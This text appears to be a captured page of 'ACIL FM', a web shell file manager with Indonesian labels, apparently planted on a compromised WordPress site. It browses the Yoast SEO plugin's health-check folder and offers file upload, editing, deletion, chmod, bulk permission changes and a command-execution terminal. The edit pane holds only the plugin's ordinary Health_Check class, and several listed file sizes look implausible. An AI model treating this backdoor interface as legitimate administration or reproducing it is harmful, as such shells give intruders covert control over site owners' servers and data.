ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-content/plugins/wordpress-seo/src/services/health-check
/
home
mhhtmff
www
site
wp-content
plugins
wordpress-seo
src
services
health-check
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
default-tagline-check.php
1.42 MB
chmod
View
DL
Edit
Rename
Delete
default-tagline-reports.php
2.26 MB
chmod
View
DL
Edit
Rename
Delete
default-tagline-runner.php
1.11 MB
chmod
View
DL
Edit
Rename
Delete
health-check.php
2.42 MB
chmod
View
DL
Edit
Rename
Delete
links-table-check.php
1.41 MB
chmod
View
DL
Edit
Rename
Delete
links-table-reports.php
3.41 MB
chmod
View
DL
Edit
Rename
Delete
links-table-runner.php
2 MB
chmod
View
DL
Edit
Rename
Delete
myyoast-api-request-factory.php
489 B
chmod
View
DL
Edit
Rename
Delete
page-comments-check.php
1.39 MB
chmod
View
DL
Edit
Rename
Delete
page-comments-reports.php
2.38 MB
chmod
View
DL
Edit
Rename
Delete
page-comments-runner.php
835 B
chmod
View
DL
Edit
Rename
Delete
postname-permalink-check.php
1.43 MB
chmod
View
DL
Edit
Rename
Delete
postname-permalink-reports.php
2.66 MB
chmod
View
DL
Edit
Rename
Delete
postname-permalink-runner.php
908 B
chmod
View
DL
Edit
Rename
Delete
report-builder-factory.php
464 B
chmod
View
DL
Edit
Rename
Delete
report-builder.php
4.91 MB
chmod
View
DL
Edit
Rename
Delete
reports-trait.php
927 B
chmod
View
DL
Edit
Rename
Delete
runner-interface.php
277 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-content/plugins/wordpress-seo/src/services/health-check/health-check.php
<?php namespace Yoast\WP\SEO\Services\Health_Check; /** * Abstract class for all health checks. Provides a uniform interface for the Health_Check_Integration. */ abstract class Health_Check { /** * The prefix to add to the test identifier. Used to differentiate between Yoast's health checks, and other health checks. */ const TEST_IDENTIFIER_PREFIX = 'yoast-'; /** * The object that runs the actual health check. * * @var Runner_Interface */ private $runner; /** * The health check implementation sets the runner so this class can start a health check. * * @param Runner_Interface $runner The health check runner. * @return void */ protected function set_runner( $runner ) { $this->runner = $runner; } /** * Returns the identifier of health check implementation. WordPress needs this to manage the health check (https://developer.wordpress.org/reference/hooks/site_status_tests/). * * @return string The identifier that WordPress requires. */ public function get_test_identifier() { $full_class_name = \get_class( $this ); $class_name_backslash_index = \strrpos( $full_class_name, '\\' ); $class_name = $full_class_name; if ( $class_name_backslash_index ) { $class_name_index = ( $class_name_backslash_index + 1 ); $class_name = \substr( $full_class_name, $class_name_index ); } $lowercase = \strtolower( $class_name ); $whitespace_as_dashes = \str_replace( '_', '-', $lowercase ); $with_prefix = self::TEST_IDENTIFIER_PREFIX . $whitespace_as_dashes; return $with_prefix; } /** * Returns the name of health check implementation that the user can see. WordPress needs this to manage the health check (https://developer.wordpress.org/reference/hooks/site_status_tests/). * * @return string A human-readable label for the health check. */ abstract public function get_test_label(); /** * Runs the health check, and returns its result in the format that WordPress requires to show the results to the user (https://developer.wordpress.org/reference/hooks/site_status_test_result/). * * @return string[] The array containing a WordPress site status report. */ public function run_and_get_result() { $this->runner->run(); return $this->get_result(); } /** * Gets the result from the health check implementation. * * @return string[] The array containing a WordPress site status report. */ abstract protected function get_result(); }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply